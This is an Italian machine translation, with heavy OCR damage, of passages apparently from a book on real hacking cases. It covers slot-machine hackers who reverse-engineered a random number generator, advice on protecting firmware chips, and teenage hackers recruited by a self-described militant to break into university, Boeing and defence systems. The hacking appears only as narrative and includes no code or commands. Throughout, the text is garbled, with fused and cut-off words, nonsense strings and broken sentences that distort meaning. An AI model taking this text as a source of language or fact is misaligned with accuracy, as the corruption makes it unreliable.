Avevano avuto una corsa di circa tre anni. Nondstasoldi, Alex era
contento che fosse finita: "In un certo senso, statw sollevato. Il divertimento era portato fuori
Aveva
diventare una sorta di lavoro. Un lavoro rischidstike, troppo, non era dispiaciuto di vederlo
fine,
leggermente lamentando che "ha ottenuto tipo eénesinte".
Entrambi erano stati riluttanti a prima di raccoatk loro storia, ma
poi ha preso al compito con gusto. E non perched 1@ anni o giu di li
da quando é successo, nessuno dei quattro ha nivis® nemmeno un sussurro
per gli eventi con nessuno, tranne le mogli edarizata che
facevano parte di esso. Dicendo che per la printa,arotetta dalla convenzione di
anonimato assoluto, sembrava venire come un solli@vviamente goduto
rivivere i dettagli, con Mike ammettendo che eedst'uno dei
la maggior parte delle cose interessanti che ahbidatto. "
Alex probabilmente parla per tutti loro, quandoresp il suo atteggiamento verso
loro scappatella:
Non mi sento cosi male per i soldi che abbiamavigt tratta di una goccia nel
secchio per tale industria. Devo essere onesto:ai@®amo mai sentiti moralmente
compromessa, perché questi sono i casino.
E 'stato facile razionalizzare. Eravamo rubando dasino che
rubare vecchie signore, offrendo i giochi che nosgono vincere. Vegas feltro
come le persone collegati macchine da soldi-suecehgrondante loro
vita lontano trimestre per trimestre. Cosi ci siaggmtiti come stavamo ottenendo indietro
al Grande Fratello, non strappando jackpot una gaveecchia signora.
Hanno messo un gioco la fuori che dice: "Se silgedg carte giuste,
si vince. "Abbiamo scelto le carte giuste. Solo e si aspettavano un punto qualsiasi
corpo per essere in grado di farlo.
Non avrebbe provare qualcosa di simile anche @égex dice. Ma la sua ragione
figlio non puo essere quello che ci si aspetta: aHio modi di fare soldi.
Se fossi finanziariamente nella stessa posizioeesoh in poi, probabilmente lo farei
provare di nuovo. "Lui vede quello che hanno fatttutto giustificate.
In questo gioco del gatto e del topo, il gatto inmpeontinuamente il mouse del nuovo
trucchi e prende le misure del caso. Le slot mackmmuesti giorni utilizzano
software di progettazione molto meglio; i ragazanisono sicuro che sarebbero cesso
moni se ha cercato di prendere un'altra crepa stague
Eppure, non ci sara mai una soluzione perfettajpalsiasi problema di tecno-sicurezza.
Alex mette la questione molto bene: "Ogni volta ghalche [sviluppatori] dice:
Capitolo 1 Hacking Casino per un milione di dollari
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'‘Nessuno si prendera la briga di farlo,’ c'e gualegazzino in Finlandia
chi andra la briga. "
E non solo in Finlandia, ma in America, pure.
lo
Nsight
Nel 1990, i casino ei progettisti di macchine dacginon hanno avuto
ancora capito alcune cose che divennero in seguitiente. A pseudo casuali
generatore di numeri in realtd non genera numstiala Invece,
in effetti magazzini un elenco di numeri in un okelicasuale. In questo caso, un
lista molto lunga: 2 alla potenza 32a, o piu dittroamiliardi di numeri. Alla
inizio di un ciclo, il software seleziona in modasciale un posto nella lista. Ma dopo
che, fino a quando non inizia un nuovo ciclo diogioutilizza i numeri conseguenti
I'elenco uno dopo l'altro.
By reverse-engineering del software, i ragazzi amewttenuto l'elenco.
Da qualsiasi punto noto nella lista "random"”, ch&rgbbero determinare ogni
seguito da un numero nella lista, e con la con@ssnpplementare su
il tasso di ripetizione di una particolare macchiigootrebbe determinare per quanto tempo
in minuti e secondi prima che la macchina visualizbbe una scala reale.
C
OUNTERMEASURES
Produttori di ogni prodotto che utilizza chip ROM@&ftware
dovrebbe anticipare i problemi di sicurezza. Equgri azienda che utilizza
software e prodotti computer-based - che in qugstni significa piuttosto
quasi ogni azienda fino ai negozi da una sola pers@ pericoloso
presuppongono che le persone che costruisconemnsibanno pensato a tutto
le vulnerabilita. | programmatori del software netlot giapponese
la macchina aveva fatto un errore in non pensarasthnza avanti su
che tipo di attacchi potrebbe essere fatto. Nonawe preso alcuna sicurezza
misure per proteggere le persone da ottenerenalvfire. Dovrebbero
aver previsto che qualcuno accedere ad una mac¢chmevere la
Chip ROM, leggere il firmware, e recuperando ilgnamma di istruzioni
zioni che raccontano la macchina come lavorarehArse ritenevano che pos-
bilita, probabilmente scontato che sapere esatt@mmame la macchina
lavorato non sarebbe sufficiente, immaginando atmmplessita computazionale
della rottura del generatore di numeri casualigiiiero sconfiggere qualsiasi tentativo -
che pud anche essere vero oggi, ma non era imgprakento.
Cosi l'azienda commercializza prodotti hardwarecdr@engono del computer
chip; quello che dovreste fare per fornire unagxioine adeguata contro
L'arte dell'intrusione
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il concorrente che vuole un‘occhiata al vostrovgalfe, la societa straniera
che vuole fare un'imitazione a basso costo, okérache vuole imbrogliare?
Il primo passo: rendere difficile per accederdrahfvare. Alcuni
approcci sono disponibili, tra cui:
e chip di acquisto di un tipo destinato ad impedatacco.
Diverse aziende chip di mercato specificamentegitatj per situa-
zioni in cui la possibilita di attacco e alta.
e Utilizzarechip-cartone per l'imballaggie un progetto in cui il chip é



incorporato nel circuito e non puo essere rimossoec

elemento separato.

e Sigillare il chip per la scheda con resina epasajdn modo che se un tentativo e
fatta per rimuoverlo, il chip si rompera. Un mighmento

questa tecnica richiede mettendo in polvere dnaltio nel

epossidica; se un utente malintenzionato tentardiavere il chip da riscaldamento
la resina epossidica, lI'alluminio distrugge il chip

e Utilizzare unball grid array (BGA) design. In questa disposizione, la
connettori non escono dai lati del chip, ma

invece sono sotto il chip, il che rende difficié® non impossi-

sibile catturare flusso del segnale dal chip meaireatto

sulla scheda.

Un'altra contromisura disposizione prevede gradfgualsiasi identificazione
informazioni fuori il chip, quindi un attaccante&arivato delle informazioni

circa il produttore e il tipo di chip.

Una pratica abbastanza comune, uno utilizzatoakrattori di macchine a

questa storia, richiede 'uso di checksumaghing) - tra cui un

checksum di routine nel software. Se il programrstaé alterato, la

checksum non sara corretta e il software non furaibdispositivo.

Hacker, tuttavia, consapevoli che hanno familiazta questo approccio semplicemente
controllare il software per vedere se una routimecksum e stato incluso,

e se ne trovano uno, disattivarlo. Quindi uno odeumetodi che pro-

proteggere il chip é fisicamente un piano moltolioig.
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Se il firmware e proprietario e prezioso, conseltarmigliore sicurezza

fonti per scoprire quali tecniche hacker stannoahthente utilizzando. Mantenere
vostri designer e programmatori up-to-date contlena informazioni.

E assicurarsi che stanno prendendo tutte le misegessarie per ottenere il massimo
livello di sicurezza commisurato con il costo.
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Quando terroristi Vieni Calling

Non so perché ho continuato a farlo. Natura comipal® Denaro fame? Sete
per il potere? Posso citare una serie di possiiilit

- NeOh

T

ha 20 anni, hacker, che firma come compagno ésggeso

intorno a questi giorni in una casa che € propitasieme al suo

fratello in una bella zona di Miami. Il padre vigen loro,

ma questo e solo perché il fratello minore € anoureorenne e bambino



Servizi insiste ci sia un adulto che vive nellaacAso a quando il ragazzo si trasforma
18. | fratelli non importa, e papa ha il suo appaento altrove,

che che sara lui a tornare indietro a quando saramento.

Mamma del compagno morto due anni fa, di lasceba ai suoi figli

perché lei e il padre dei ragazzi erano divorzid#.lasciato qualche soldo come
bene. Suo fratello va a scuola, ma il compagn@p€eiaa appeso

out. "La maggior parte della sua famiglia disappralice,” ma non mi interessa. "
Quando sei stato in prigione in giovane eta - inf persona piu giovane

figlio mai condannato con l'accusa federale combagker - I'esperienza tende
per cambiare i valori.

Hacking non conosce confini internazionali, natenahte, quindi non fa dif-
conferenza a uno di loro che amico degli hackehrs) compagno € un po '
3.000 miglia di distanza. Hacking era quello chedliriuniti, e hack-

ing era cio che li prese lungo un percorso scivoldse sarebbe poi

portare a quello che sarebbe poi stato congetéundrs la causa della inter-
terrorismo nazionale effettuando irruzioni al cétore altamente sensibile
sistemi. In questi giorni, questo & un fardellogmte da portare.
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Un anno piu vecchio di compagno, neOh é statoiZméito i computer da quando ho
potrebbe raggiungere la tastiera. "Suo padre gestimegozio di ferramenta di computer e
avrebbe preso il giovane lungo sulle nomine deintij il ragazzo
si sedeva sulle ginocchia di suo padre con lasessli vendita. Da 11 anni, e stato
la scrittura di codice dBase per l'attivita di uamire.
Da qualche parte lungo la linea, neOh venuto suwcopa del libro
TakedownHyperion Press, 1996) - che & altamente impreciso
conto dei miei exploit di hacker, i miei tre anmniatitanza, e la
La ricerca di FBI per me. neOh era affascinatdided:
Mi hai ispirato. Sei il mio mentore f___ing. Hottebgni possibile
cosa di quello che hai fatto. Volevo essere unelr@h proprio come te.
E 'stata la motivazione che lo ha ottenuto in hagkiHa decorato la sua
stanza con i computer e hub di rete e di un 6-imago bandiera pirata,
e di cui a camminare le mie orme.
neOh ha cominciato ad accumulare conoscenze hathiela e capacita.
Competenze venuto prima; discrezione sarebbe vgmutardi. Utilizzando termine hacker 'per
un giovane che e ancora un principiante, ha spetjdel mio script kiddie
giorni, ho deturpato siti web e mettere il mio o e-mail reale ".
Ha appeso intorno Internet Relay Chat (IRC) ditasata su testo
Chat room di Internet dove le persone con un isE&€omune possono incontrarsi
on-line e lo scambio di informazioni in tempo reatm altri che condividono la
interesse - nella pesca a mosca, aerei d'epocaaiasa, o qualsiasi
migliaia di altri argomenti, tra cui I'nacking. Quao si digita in un gio
salvia su un sito IRC, tutti in linea in quel morteerede quello che hai scritti
dieci e in grado di rispondere. Anche se moltegeche utilizzano regolarmente IRC non lo
fanno
sembra di essere a conoscenza di essa, le comonigaassono essere facilmente registrati. Penso
che
i registri devono ormai contengono quasi piu patolg i libri
la Biblioteca del Congresso - e il testo digitatdretta con poco pensiero di
posteri possono essere recuperate anche dopo anni.
Il compagno stava spendendo tempo su alcuni diegisissiti IRC, e lui



fatto amicizia a distanza con neOh. Gli hacker spésrmano

alleanze per lo scambio di informazioni e svolgatacchi di gruppo.

neOh, compagno, e un altro ragazzo hanno decis@aie un proprio gruppo,
che essi soprannominato il "Keebler Elfi." Alcumidker supplementari erano
permesso in conversazioni del gruppo, ma i tre nieoniginali

tenuto gli altri all'oscuro di loro attacchi blablkt. "Eravamo rottura

ing all'interno di siti governativi per il divertiemto, "il compagno, ha detto. Egli stima che
rotto in "un paio di centinaia di" siti governatspparentemente sicuri.

Un certo numero di canali IRC sono pozze d'acquaimgli hacker di differenza
strisce ent riuniscono. Uno in particolare, una wdtiamata Efnet, € un sito
Comrade descrive come "non esattamente la mettapaldel computer - € una
L'arte dell'intrusione
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abbastanza grande gruppo di server ". Ma all'iot&fmet erano alcuni meno noti
canali, luoghi che non ha trovato la strada petaproprio, ma doveva essere
raccontato da un altro cappello nero la cui fidtiara guadagnato. Quelli
canali, compagno dice, erano "abbastanza sotter'tane
Khalid il Terrorist ciondola Alcuni Bait
Intorno al 1998 su questi canali "abbastanza umdengl”, il compagno ha iniziato
incontrando chiacchierata su un ragazzo che e@'stppeso in giro" usando
la maniglia RahulB. (Piu tardi avrebbe anche widiz Rama3456.) "E 'stata una sorta di
noto che voleva hacker per entrare nel governdigami
computers - siti .gov e .mil, "Compagno, ha déet®.diceva che lui
lavorato per Bin Laden. Questo era prima del 9%¢b%j Bin Laden non era un
nome si sentito al telegiornale ogni giorno. "

Alla fine il compagno percorsi con I'uomo del misteche ha attraversato lui
sarebbe venuto a sapere come Khalid Ibrahim. "Hiateacon lui un paio di volte [su
IRC] e ho parlato con lui al telefono una volta:udmo aveva una straniera
accento e "sicuramente suonava come una connessieseero.”

neOh, troppo, & stato mirato; con lui Khalid ena giretto e piu

palese. neOh ricorda:

Intorno al 1999, sono stato contattato via e-mailuh uomo che ha chiamato lui-
auto un militante e ha detto che era in Pakistaa.ddto il nome

Khalid Ibrahim. Mi ha detto che lavorava per i ralnti pakistani.

Qualcuno cerca di hacker capretto ingenui davvevolgersi in un

bandiera terrorista - anche nei giorni preceddti®A prima vista l'idea

sembra assurdo. Quest'uomo avrebbe poi rivendézarandato a scuola nel

Stati Uniti, fatto un po 'di hacking se stessossoaiata con gli hacker

mentre era qui. Cosi egli puo aver conosciuto,s@ea di sapere, qualcuno
cosa di mentalita degli hacker. Ogni hacker é ache misura un ribelle che
vive da diversi standard e gode di battere il sisteSe o desidera

definire un honeypot per gli hacker, forse annumbdache anche tu sei un
regola-breaker e un estraneo non sarebbe cosidstdppo tutto. Forse
renderebbe la tua storia ancora piu credibileyestro con- previsto

federa che molto meno diffidente e sospettoso.

E poi c'era il denaro. Khalid ha offerto neOh 1.@@0ari per hack-

ing nelle reti informatiche di una universita ciaesun luogo che

neOh riferisce come il MIT di Cina - e fornendoskoidente

file di database. Presumibilmente questo era undiesdella capacita di hacking di neOh



e del suo ingegno: Come si fa a incidere in uesiatinformatico, quando si
non leggere la lingua? Ancora piu difficile: coméasingegnere sociale tua
modo in cui non si parla la lingua?

Capitolo 2 quando i terroristi venire chiamata
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Per neOh, la questione della lingua si é rivelag®ee nessun ostacolo a tutti. Lui
iniziato in giro i siti IRC utilizzati da un gruppai hacker chiamato
gLobalLheLL e attraverso quel gruppo avevano prestatto con un computer
studente presso l'universita. Ha messo in congaltta chiesto allo studente per un
paio di nomi utente e password. Le informazionnsig € tornato
in breve - uno degli hacker ad un altro, senzadaraande. neOh trovati
che la sicurezza informatica all'universita clasatb da qualche parte tra
terribile e schifoso, particolarmente sorprend@ateuna tecnologia / ingegneria
universita dove avrebbero dovuto saperlo. La maggaae degli allievi
hanno scelto password identici ai loro nomi utergestessa parola o
frase per entrambi gli usi.
La short list che lo studente aveva fornito erdicehte per dare neOh
accesso, che gli permette di iniziare a curiosag@ro per via elettronicasniffing,
in hackerspeak. Questo alzato uno studente - &aremo Chang - che
stava accedendo FTPs (siti di download) negli &taiii. Tra questi
FTPs era un sito "warez" - un luogo per il recupsfiware. Utilizzando un stan-
Dard ingegneria sociale trucco, neOh alla deritarimo alla rete delle scuole
raccogliendo alcuni dei gergo campus. Questo é ptatfacile di quanto in un primo momento
suoni, dal momento che "la maggior parte di lomdgmglese", dice neOh. Poi si alzo in
toccare con Chang, utilizzando un account che tasembrare come se fosse neOh
contattarlo dal laboratorio di informatica del camp
"Sono da Block 213", ha detto Chang elettronicamenta fatto un
richiesta semplice per i nomi degli studenti emgiirizzi e-mail, come qualsiasi
studente interessato a entrare in contatto compeagni di classe. Poiché la maggior parte della
le password erano cosi facile, entrare nel fildod#lidente é stato un gioco da ragazzi.
Ben presto fu in grado di fornire le informazioel database Khalid su
circa un centinaio di studenti. "Gli ho dato quelei ha detto, 'ho tutto quello che
bisogno "Khalid era soddisfatto.; chiaramente aeeva voluto i nomi a tutti; lui
aveva solo voluto vedere se neOh potrebbe effeteviie venire con l'informazione
zione da una fonte remota. "Questo e esattamewteildoostro rapporto
rap- iniziato, "somme neOh up. "Potrei fare il leyosapeva che potevo
fare il lavoro, cosi ha iniziato a darmi altre cosefare. "
Raccontare neOh a guardare la sua cassetta postdéesue migliaia di dollari, Khalid
iniziato a chiamare da telefono cellulare una valla settimana, "di solito mentre era
la guida. "L'incarico successivo € stato per in@de sistemi informatici di
Bhabha Atomic Research Center in India. L'abitoie@secuzione un Sole
workstation, che € un terreno familiare per ogrikea. neOh entrato in esso
abbastanza facilmente ma ha trovato la macchinda@vuto alcuna informazione di
interessi su di esso e sembrava essere un autonomaogllegato a qualsiasi rete
lavoro. Khalid sembrava turbata dal fallimento.
Nel frattempo, i soldi per il trucco universita ege non aveva ancora
mostrato up. Quando neOh chiese, Khalid ha scamwNon hai mai capito ?! Ho inviato
a voi in contanti in un biglietto di auguri! ", lrsistito. Ovviamente questo era il
L'arte dell'intrusione
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timeworn "L'assegno e nella posta" stratagemmaneda era disposto a continuare a
incarichi accettare. Perché? Oggi si piega veirgodspezione:
Ho continuato a perché sono testardo. In realtdagosun brivido a pensare che
stava per essere pagato per questo. E io pens&eosé & davvero
e stato perso nella posta, forse lui mi pagare tpeslta. "
Non so perché ho continuato a farlo. Natura compaldSoldi
fame?Sete di potere? Posso citare una serie di posgibili
Allo stesso tempo, che Khalid dava da mangiarericitiga neOh, era
anche traina i siti IRC per gli altri giocatori gasti. Il compagno era disposto,
se diffidare di accettare il pagamento:
Avevo capito che stava pagando le persone, ma aondn voluto
dare le mie informazioni al fine di ricevere i soldo pensato che
guello che stavo facendo era solo guardando intoma se ho iniziato ricevitori
ing soldi, che mi avrebbe fatto un vero crimin@lemassimo lo farei
parlare con lui su IRC e gettatelo pochi host dittain tanto.
Reporter Niall McKay ha parlato con un altro pesibe Khalid catturato nel suo
net, un adolescente della California il cui mareca Chameleon (e che ora
cofondatore di una societa di successo di softeieseurezza). La storia McKay su
Wired.com
1
coda di rondine con i dati forniti dal neOh e cogmpa
"Ero su IRC una notte quando questo ragazzo ha de¢t voleva il soft DEM
ware. Non ho avuto e stavo solo pasticciare coaghzzo, "il
hacker, ha affermato. A questo punto Khalid staeaeendo serio: "DEM" € il
soprannome per il macchinari Defense Systems N&twor
Manager, software utilizzato dai militari in reteprogramma e stato cattura tutte
rato dal gruppo di hacker Masters di Download, jedeola era get
Ting intorno che il programma era disponibile shiesto la persona giusta.
Nessuno sembra sapere se Khalid mai messo le madnesso - o
almeno, nessuno sta dicendo. In realta, non & nemperto che il software sarebbe
sono stati di alcun valore per lui - ma lui evidenente pensato che sarebbe.
Khalid era attraverso la riproduzione di giochiusiversita cinesi e simili.
"Ha cercato di integrarsi in quello che i ragazi gruppo sono stati
facendo, "ci ha detto neOh. Prima che fosse filibalid sarebbe ombra degli hacker
per un anno e mezzo, "non come una persona a oppmng dentro e fuori, ma
su base regolare. Lui era li, e si € capito chstquera la sua
cosa. "Per Ia" sua cosa "ne0Oh significava rottiliatarno di siti militari o la com-
sistemi informatici di aziende commerciali che leam su progetti militari.
Khalid ha chiesto neOh per entrare in Lockheed iMa&bttenere il
schemi di alcuni sistemi di bordo sono stati diquzione per
Boeing. neOh riusci a ottenere qualche penetratimntata
Capitolo 2 quando i terroristi venire chiamata
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Lockheed, “circa tre passi nella rete interna",noa poteva
nessuna piu profonda di due server (a un livelllehpersone di sicurezza chiamano
"DMZ" - in effetti, un no-terra di). Questo non exbbastanza per rendita



etrate oltre i firewall che proteggono il maziomiendale piu sensibile

zioni, e non riusciva a trovare le informazioni @ra stato detto di guardare
per. Secondo neOh:

[Khalid] ha irritato. Quello che ha detto era fondeentalmente, "Non sei
lavorare per me piu. Non si puo fare niente ". M Ipa

mi ha accusato di ritenuta. Ha detto che stavo maendo la formazioni
mazioni per me stesso.

Poi disse: «Lascia perdere Lockheed Martin. Rickdttamente in Boeing. "
neOh scoperto che Boeing "non era cosi sicurd,\sdes/a male

abbastanza. "Ha avuto in, dice, sfruttando unaeralnilita nota di un Boeing
sistema esposto a Internet. Poi, l'installazionendisniffer”, egli fu in grado di
intercettare tutti i pacchetti di dati che vannocedaerso un computer - tipi

di computer di intercettazione telefonica. Da goi@sstato in grado di catturare le password e
email in chiaro. Informazioni raccolte da lui le @hrivelate

abbastanza intelligenza per ottenere nella propt&interna.

Ho trovato sei o0 sette schemi a porte e il nasBaking

747 - appena agli passato attraverso e-mail in chia

Allegati in chiaro. Non e quel grande ?! (E ride.)

Khalid era in estasi. Ha detto che stava per da®mi000.Esso

mai arrivato - sorpresa, sorpresa.

In realta, $ 4000 sarebbe stato un pagamento @ssadordo per l'informazione
zione. Secondo l'ex dirigente della sicurezza Bp&on Boelling, questo

mod potrebbe essere stata effettuata contro Baeimg descritto. Ma

sarebbe stata una perdita di tempo: Una volta nlraadello di aeromobile va in Ser-
ghiaccio, tutte le compagnie aeree clienti sone dat completi di schemi. A quel
punto l'informazione non € piu considerato-aziengsksibili; un punto qualsiasi
corpo chi lo vuole puo avere. "Ho anche visto unded747 schemi

offerto su eBay recente ", ha detto Don. Naturabeeghalid no

probabilmente hanno conosciuto questo. E non saredillo due anni dopo che il
nazione avrebbe scoperto alcuni terroristi avevartoragioni per volere la
schemi di grandi aerei da trasporto utilizzati ealbmpagnie aeree statunitensi.
Obiettivo per Tonight: Siprnet

Con il compagno, Khalid non si curo creazione asedc prova. Dal primo,
I'hacker dice Khalid "interessava solo militareipret."
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La maggior parte delle cose che non era molto djpba su cio che voleva - solo
I'accesso ai siti governativi e militari. Fatta ex@one per Siprnet.
Voleva davvero informazioni Siprnet.
Nessuna meraviglia Khalid era ansioso; questotata probabilmente il suo obiettivo da sempre.
Siprnet € la porzione di DISN, il Sistema Informatdella Difesa
Network, che trasporta i messaggi classificati.®iquesto, Siprnet
(E un acronimo per I'Internet Protocol Router Netwgegreto) & ora
il nucleo della capacita di comando e controllo lfesercito statunitense.
neOh aveva gia rifiutato un'offerta da Khalid peraccesso Siprnet:
Egli ha offerto 2.000 dollari. L'ho rifiutato. S@avuto in Siprnet,
Avrei i federali che bussano alla mia porta. 20@dlakri non valeva un
proiettile in testa.
Con il tempo Khalid ha parlato il compagno cires$egnazione, il prezzo



era andato in su. "Ha detto che avrebbe pagatoRessia stato diecimila dollari
per l'accesso, "compagno ricorda, suona molto roemwroso di

neOh di prendere il progetto, anche se lui ingistevincente che

era la sfida, non il denaro, che lo tentava.

lo in realta e venuto abbastanza vicino a Siprhiet.avuto in questo com-

sistema informatico presso I'Agenzia di sicurezefeBse Information, DISA.
Questo computer era solo liscia. Aveva Penso quattvcessori, come,

2000 utenti hanno avuto accesso ad esso, il figt boix aveva, come, 5.000 renza
host di-, e meta di loro usavano account priviléigigoi

doveva essere in quel computer per accedervi shpoteva accedere

dall'esterno.

Tuttavia, egli capito, intuizione del compagno elna incappato in

qualcosa di importante € stato il bersaglio. Lesiois principali di DISA sono
comando congiunto e controllo e di supporto al cattfmento computing - un chiaro
sovrapposizione con le funzioni di Siprnet. Maaissforzi sono stati tagliati corti.
Abbastanza dolce di avere tutto che l'accesso, anehe mai avuto abbastanza tempo
giocare con esso per arrivare ovungque. Mi sono aegacome, tre o

quattro giorni piu tardi.

A Time for Preoccuparsi

Il giorno di Natale del 1999, e il compagno ne@eviuto una scossa. Indiano

Volo Airlines 1C-814, in rotta da Katmandu a NewlRlecon 178

passeggeri e 11 dell'equipaggio, € stato dirottetmlo. Secondo le notizie
Capitolo 2 quando i terroristi venire chiamata
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rapporti, i dirottatori erano terroristi pakistamminnessi con i talebani.
| terroristi come Khalid?
Sotto gli ordini dei dirottatori, I'Airbus A300 haoceduto su un zigzag
viaggio verso il Medio Oriente e indietro, attemarbrevemente in India, Pakistan,
e gli Emirati Arabi Uniti, dove il corpo di un pasgyero ucciso era
rimosso, un giovane sulla strada di casa con laasaga moglie dalla loro
luna di miele. Era stato accoltellato a morte pegato minore di
rifiutando di mettere su una benda.
L'aereo finalmente atterrato a Kandahar, Afghanistaumentando la
probabilita di una connessione talebani. Gli glagseggeri e I'equipaggio
sono tenute a bordo per otto giorni di terrore pjenalla fine sono stati
rilasciato in cambio della liberazione di tre natfiti incarcerati. Uno di quelli
rilasciato, Sheikh Umer, avrebbe poi svolgere wiamel favorire il finanziamento delle
Mohammed Atta, il leader dei 9/11 attacchi al Wartdde Center.
Dopo il dirottamento, Khalid ha detto neOh cheutb gruppo era responsabile
e lui stesso era stato coinvolto.
Questo mi ha spaventato a morte. Lui era un catigazzo. Ho sentito che dovevo coprire le
il mio culo.
Ma 'angoscia di neOh stato temperato da avidiaifélesco. "Speravo ancora che
mi avrebbe pagato i miei soldi ", ha aggiunto.
Il collegamento dirottamento aggiunto benzina atfuche Khalid aveva incendiato
precedenza. A un certo punto, a quanto pare idfestlalla mancanza di successo degli adolescenti
nel fornire le informazioni che chiedeva, Khaliceaa provato un alto
tattica pressione. Reporter Niall McKay, nella séestoria per Wired.com,
ha scritto di aver visto un vecchio messaggio IR{edKhalid ai giovani in



che ha minacciato di averli uccisi se lo hannaitdeall'FBI.

McKay ha scritto di aver visto anche un messaggigekistano ai ragazzi:
"Voglio sapere: Ha [qualcuno] raccontare i fededalne?» E in un altro

posto, "Dite loro [se lo hanno fatto], sono carn&tan Avro cecchini

impostato su di essi. "

2

Il compagno ottiene Busted

La situazione stava diventando appiccicosa, mpa&ravere la peggio. A pochi giorni
dopo il successo del compagno a penetrare un sisiesociato con SIPR-
NET, il padre e stato fermato il suo modo di lavera poliziotti gli hanno detto,
"Vogliamo parlare con il figlio," e gli mostro unandato di perquisizione.
Comrade ricorda:

C'erano alcune persone della NASA, il DoD, I'FBi tutte

ci sono stati come dieci o dodici agenti, e algowliziotti, troppo. Ero stato
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fare in giro in alcune scatole NASA, ho messo uniifes su
ns3.gtra.mil, solo per raccogliere le password. &teme effetto collaterale,
raccolto email pure. Mi hanno detto che venivo aata di
intercettazioni illegali per questo. E poi per imputer della NASA sono arrivato
violazioni del copyright o violazione. E altre cose
Proprio il giorno prima, un amico ha detto, "Amicgijamo per ottenere
eliminato al piu presto. "Stava lanciando fuori. igdensato, "Si, lui ha un
Punto. "Cosi ho cancellato il mio disco rigido.
Ma il compagno non era completa per il lavoro dizia. "Ho avuto dimenticati
dieci i vecchi dischi in giro la mia scrivania. "
Mi hanno interrogato. Ho ammesso che, ho detto,didpiace, ecco cosa
Ho fatto, ecco come risolvere il problema, io noridro piu. "Erano come,
"Va bene, non consideriamo un criminale, non fallouovo.
Se lo fai ancora, te ne andrai in manette. "Hanresso in valigia il mio
computer, periferiche, e pezzi di hard disk, eesamdarono.
Piu tardi hanno cercato di raggiungere il compadjrdire loro la password per la sua
criptati dischi rigidi. Quando non avrebbe dettanho detto che sapevano come
per rompere le password. Il compagno conoscevaimegleva usato PGP (Pretty
Good Privacy) la crittografia e la sua password'eracentinaio tere
ca- lungo "Eppure insiste che non é difficile dardare -. & tre dei suoi
citazioni preferite messe insieme.
Il compagno non ha sentito nulla di piu da loro gieza sei mesi.
Poi un giorno ha ottenuto la parola che il goveameva intenzione di sporgere denuncia.
Con il tempo ha avuto modo di corte, veniva inchtodpoer quello che il procuratore
richiesto € un arresto di tre settimane di compdédia NASA e di intercettazione
migliaia di messaggi di posta elettronica all'intedel Dipartimento della Difesa.
(Come so fin troppo bene, il "danno” rivendicato mlzgbblici ministeri e il
danno vita reale a volte sono molto diverse. |l pagno scaricato
software dalla NASA Marshall Space Flight CentefAlabama, usato
nel controllare la temperatura e I'umidita dell@8ale Internazionale
Stazione; il governo ha sostenuto che questo av@staetto a tre settimane di shutdown
giu di alcuni sistemi informatici. Il Dipartimentiella Difesa attacco
offerto causa piu realistico di preoccupazioneoihpagno si era rotto nella



sistema informatico della Difesa Threat ReductigeAcy e installato

una "porta di servizio" che gli consente I'acceasgualsiasi momento.)

Il governo, ovviamente, considerato il caso impaacome un avvertimento

ad altri hacker adolescenti, e reso molto dellacaunainzione sulla stampa,

lui proclamando la persona piu giovane mai condi@nper I'hacking come fede-

crimine rale. Procuratore Generale Janet Reno ailakeiato una dichiarazione che ha detto
in parte, "Questo caso, che segna la prima voltauohhacker giovanile servira
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tempo in un centro di detenzione, dimostra chegano intrusioni informatiche gra-
neamente e stanno lavorando con i nostri partmee fdell'ordine per aggressivamente
combattere questo problema. "

Il giudice ha condannato il compagno a sei mesadiere seguiti da sei

mesi di liberta vigilata, per iniziare dopo la fidel semestre di scuola.

La madre del compagno era ancora vivo in quel moméa assunto un nuovo avvocato, ha
ottenuto

un sacco di lettere scritte, ha presentato al gaudio che il compagno chiama "un intero
nuovo caso ", e, incredibilmente, e riuscito arate la condanna ridotta a

arresti domiciliari seguiti da quattro anni di liteevigilata.

A volte nella vita non facciamo la migliore dellpportunita. "Ho fatto il

arresti domiciliari e stava attraversando libertalata. Diverse cose sono successe,
Ho iniziato a festeggiare troppo, cosi mi hanno daam in riabilitazione. "Back dalla riabilitazione,
Il compagno ha un lavoro con una societa di Integrfea iniziato la sua

Vestito Internet. Ma lui e il suo addetto alla ssgitanza non vedesse faccia a faccia

e il compagno e stato mandato in prigione, dopo tira solo 16 anni, incarnazione
cerated per gli atti che ha commesso all'eta dirith.

Non ci sono che molti giovani nel sistema federilgosto che

e stato inviato rivelato un "campo" (apparentemente parola appropriata) in
Alabama che ospitava solo 10 detenuti e che il @gnp descrive come

cerca "piu come una scuola - chiuso porte e remmzii filo spinato, ma

altrimenti non tanto come una prigione. "Non ha m&no bisogno di andare a lezione
perché aveva gia finito il liceo.

Torna a Miami e di nuovo in liberta vigilata, illopagno é stato dato un elenco di

gli hacker non sarebbe stato permesso di parlaadlista era come questo ragazzo,
questo ragazzo, e neOh "Just” neOh "-. il goveederfale lo ha conosciuto

solo dalla sua maniglia. "Non avevano idea di oesé. Se ho avuto accesso a due
cento cose, ha avuto accesso a un migliaio di‘talee il compagno.

"NeOh era piuttosto liscia." Per quanto riguarda dnloro sa, I'applicazione della legge
ancora non € riuscito a bloccare un nome su di lacalizzare la sua posizione.
Indagare Khalid

Era Khalid il militante ha affermato di essere ptosalcuni faker tirando la

catene di adolescenti? O forse un'operazione B&lEr sondare fino a che punto la
giovani hacker erano disposti ad andare? Una wedltdtra, ciascuno dei

hacker che avevano rapporti con Khalid erano stspethe non era

davvero un militante; l'idea di fornire informazi@un agente straniero

sembra aver preso la briga di loro un buon affazaoni'idea del ragazzo

potrebbe essere loro ingannare. Il compagno ha deé "si chiese per il pit lungo
tempo cio che [Khalid] era. Non sapevo se era adarfzione o se € stato per

vero. Parlando neOh e parlando con lui, ho dedisceta abbastanza legittimo.



Ma non ho mai preso soldi da lui - che era unaidya;rnon volevo
croce. "(All'inizio della conversazione, quando\svenenzionato il
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offerta di 10.000 dollari da Khalid, che era senirepressionato dalla somma.
Avrebbe davvero sono diminuiti i soldi se i sua@rgi avevano avuto successo
e Khalid aveva effettivamente versato? Forse aii@oenpagno stesso non fa
davvero conoscere la risposta a quella.)
neOh dice che Khalid "suonava assolutamente piofeds”, ma ammette di
avendo avuto dubbi lungo la strada sul fatto cherla davvero un militante.
"Per tutto il tempo stavo parlando con lui, ho E@a<he era pieno di merda. Ma
dopo la ricerca con gli amici che ha contattata® @ltre formazioni
zioni per, in realta credo che fosse davvero atevh di essere.
Un altro hacker, SavecOre, incontrd qualcuno in tR€ ha detto che
aveva uno zio nel dell'FBI che potrebbe organizZemenunita per un intero
gruppo di hacker chiamato milwOrm. "Ho pensato ghesto avrebbe mandato un messaggio
all'FBI che non eravamo ostili ", ha detto Saveaoenalista McKay in un
